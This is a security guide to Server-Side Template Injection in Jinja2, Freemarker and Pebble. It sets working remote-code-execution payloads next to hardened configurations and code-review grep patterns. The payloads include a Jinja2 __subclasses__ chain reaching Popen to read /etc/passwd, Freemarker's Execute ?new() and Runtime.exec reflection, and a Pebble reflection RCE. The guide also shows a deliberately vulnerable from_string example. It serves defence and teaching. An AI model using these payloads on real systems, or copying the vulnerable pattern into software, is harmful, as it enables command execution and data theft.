Server-Side Template Injection: Exploiting and Defending Jinja2, Freemarker, and Pebble

Server-Side Template Injection occurs when user input is embedded directly into a template string rather than passed as data. The resulting vulnerability can escalate from data disclosure to remote code execution depending on the engine. This guide covers the attack patterns in Jinja2 (Python), Freemarker (Java), and Pebble (Java), and safe implementations for each.

Server-Side Template Injection (SSTI) is what happens when a developer passes user input to a template engine’s render() function rather than to a template’s data context. The result is a vulnerability that scales from information disclosure all the way to remote code execution, depending on the template engine and what it permits at runtime.

It’s a mistake that’s easy to make once and hard to notice until someone demonstrates the exploit.

How SSTI Works

Template engines like Jinja2, Freemarker, and Pebble are designed to evaluate expressions. {{ 7 * 7 }} should produce 49. That evaluation capability is the feature — it’s also what makes SSTI dangerous. When user input ends up inside the template string being evaluated (not inside the context dictionary being passed to it), the engine evaluates the user’s input as template code.

The difference between safe and vulnerable:

# Safe: user input goes into the context, not the template string
from jinja2 import Environment, select_autoescape
env = Environment(autoescape=select_autoescape())
template = env.from_string("Hello, {{ name }}!")
output = template.render(name=user_input)  # user_input is data, not code

# Vulnerable: user input IS the template string
template = env.from_string(f"Hello, {user_input}!")  # If user_input = "{{ 7 * 7 }}", Jinja evaluates it
output = template.render()

The vulnerable version lets an attacker submit {{ 7 * 7 }} and receive Hello, 49! back. Confirm code evaluation, then escalate from there.

Jinja2 (Python): From Expression Evaluation to RCE

Jinja2 is the most commonly exploited template engine in practice, partly because Flask uses it by default and Flask applications frequently have patterns like render_template_string(user_input) in tutorial code that makes it into production.

Detection probe: Submit {{ 7 * 7 }}. If the response contains 49, SSTI is confirmed.

Escalation path via __class__ chain:

{{ ''.__class__.__mro__[1].__subclasses__() }}

This dumps all subclasses of object accessible from a string. From this list, find an index corresponding to a class with subprocess or file system access. The canonical payload:

{{ ''.__class__.__mro__[1].__subclasses__()[<index>](['cat', '/etc/passwd'], stdout=-1).communicate() }}

Where <index> is the position of subprocess.Popen in the subclass list (varies by Python version and environment — typically between 200 and 400 in CPython 3.x environments). A more reliable version that searches for the class:

{{ ''.__class__.__mro__[1].__subclasses__() | selectattr('__name__', 'equalto', 'Popen') | list }}

With Jinja2’s sandbox disabled (the default in many applications), this path to command execution is reliable.

Safe Jinja2 patterns:

from jinja2 import Environment, select_autoescape, BaseLoader, TemplateNotFound

# Use template files, not user-supplied strings
env = Environment(
    loader=FileSystemLoader('/path/to/templates'),
    autoescape=select_autoescape(['html', 'xml']),
    # Enable sandbox for untrusted template content
    # Note: SandboxedEnvironment still requires careful review
)

# NEVER do this:
# env.from_string(user_input).render()
# render_template_string(user_input)

# DO this:
def render_greeting(name: str) -> str:
    template = env.get_template('greeting.html')  # Fixed template file
    return template.render(name=name)  # User input as data only

If your use case genuinely requires user-defined template content (a CMS, a report builder), use jinja2.sandbox.SandboxedEnvironment. It restricts access to dunder attributes and blocks the __class__ escalation chain — but note it’s been bypassed in past research. Treat it as a mitigating control, not a complete fix.

Freemarker (Java): The freemarker.template.utility.Execute Class

Freemarker is used extensively in Java web applications, particularly those using Spring MVC or older frameworks. The expression language is more complex than Jinja2, and the exploitation paths reflect that.

Detection probe: ${7 * 7} — if the response contains 49, Freemarker SSTI is confirmed. A secondary probe: ${.engine_version} returns the Freemarker version, useful for understanding available features.

Standard RCE payload (Freemarker 2.3.x):

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}

This instantiates Freemarker’s built-in Execute class (yes, it’s a built-in utility for running system commands) and calls it with an arbitrary command. No class introspection required — the exploitation primitive is built into the template engine itself.

Restricted execution via API payload for modern Freemarker versions that block Execute:

${product.getClass().forName("java.lang.Runtime").getMethod("exec", String.class).invoke(product.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), "id")}

Defending against Freemarker SSTI:

// Safe: use template files loaded from the classpath or filesystem
@Configuration
public class FreemarkerConfig {
    
    @Bean
    public freemarker.template.Configuration freemarkerConfiguration() throws IOException {
        freemarker.template.Configuration cfg = new freemarker.template.Configuration(
            freemarker.template.Configuration.VERSION_2_3_33
        );
        
        // Load templates from classpath resources, not from user input
        cfg.setClassForTemplateLoading(getClass(), "/templates/");
        
        // Disable new() built-in to prevent Execute instantiation
        cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
        
        // Disable API built-in for additional protection
        cfg.setAPIBuiltinEnabled(false);
        
        return cfg;
    }
}

// In your controller - NEVER pass user input as the template string
@GetMapping("/report")
public String generateReport(@RequestParam String reportType, Model model) {
    // Good: reportType determines which template file to use (validated)
    String templateName = validateAndGetTemplateName(reportType);
    model.addAttribute("data", reportService.getData());
    return templateName; // Returns template name, not user content
}

private String validateAndGetTemplateName(String type) {
    // Allowlist approach - never pass user input directly as template name
    return switch (type) {
        case "summary" -> "reports/summary";
        case "detail" -> "reports/detail";
        default -> throw new IllegalArgumentException("Unknown report type");
    };
}

The SAFER_RESOLVER setting blocks freemarker.template.utility.Execute and other dangerous built-in classes from being instantiated via ?new(). setAPIBuiltinEnabled(false) removes the ?api built-in that allows accessing Java API methods directly. Both should be set in production configurations.

Pebble (Java): Expression Language Injection

Pebble is a newer Java template engine designed as a Jinja2 alternative. Its exploitation characteristics are similar to Freemarker but the syntax differs.

Detection probe: {{ 7 * 7 }} — if the response contains 49, Pebble SSTI is confirmed.

RCE payload via Java reflection:

{{ "".class.forName("java.lang.Runtime").getMethod("exec","".class).invoke("".class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id") }}

Pebble’s default sandbox does block direct class loading, but bypasses exist via objects already present in the template context that expose Java types.

Safe Pebble implementation:

import io.pebbletemplates.pebble.PebbleEngine;
import io.pebbletemplates.pebble.template.PebbleTemplate;

// Build the engine once, load templates from disk
PebbleEngine engine = new PebbleEngine.Builder()
    .loader(new ClasspathLoader())
    .strictVariables(true)  // Fail on missing variables, not silently pass through
    .build();

// Always use compile-time template paths
PebbleTemplate template = engine.getTemplate("templates/notification.pebble");

Map<String, Object> context = new HashMap<>();
context.put("userName", sanitizeInput(userInput));  // Data, not template code

Writer writer = new StringWriter();
template.evaluate(writer, context);
String result = writer.toString();

Identifying SSTI Vulnerabilities in Code Review

During code review, search for these patterns:

# Python: Jinja2 dangerous patterns
grep -rn "from_string\|render_template_string\|Template(" \
  --include="*.py" . | grep -v "#"

# Java: Freemarker suspicious patterns
grep -rn "Template\|process\|StringReader" \
  --include="*.java" . | grep -i "template\|freemarker"

# Java: Pebble suspicious patterns  
grep -rn "getLiteralTemplate\|evaluateStringTemplate" \
  --include="*.java" .

Any instance where the argument to from_string(), render_template_string(), or equivalent functions derives from user-controlled input — request parameters, HTTP headers, database content written by users — is a candidate for SSTI.

The Core Rule

Template engines evaluate expressions. The only way to safely use them is to keep user input out of the template string entirely. User input goes into the context (the data dictionary), never into the template itself. Any architecture that passes user content as template source — for report generation, email customisation, dynamic UI building — needs to be restructured to use fixed template files with user content as context variables.

If users need to define their own templates (a rare but legitimate requirement), use a sandboxed evaluator with a restricted expression language, audit what the sandbox permits, and treat any bypass as a critical vulnerability. The Jinja2 sandbox and Freemarker’s SAFER_RESOLVER are reasonable starting points, not ending points.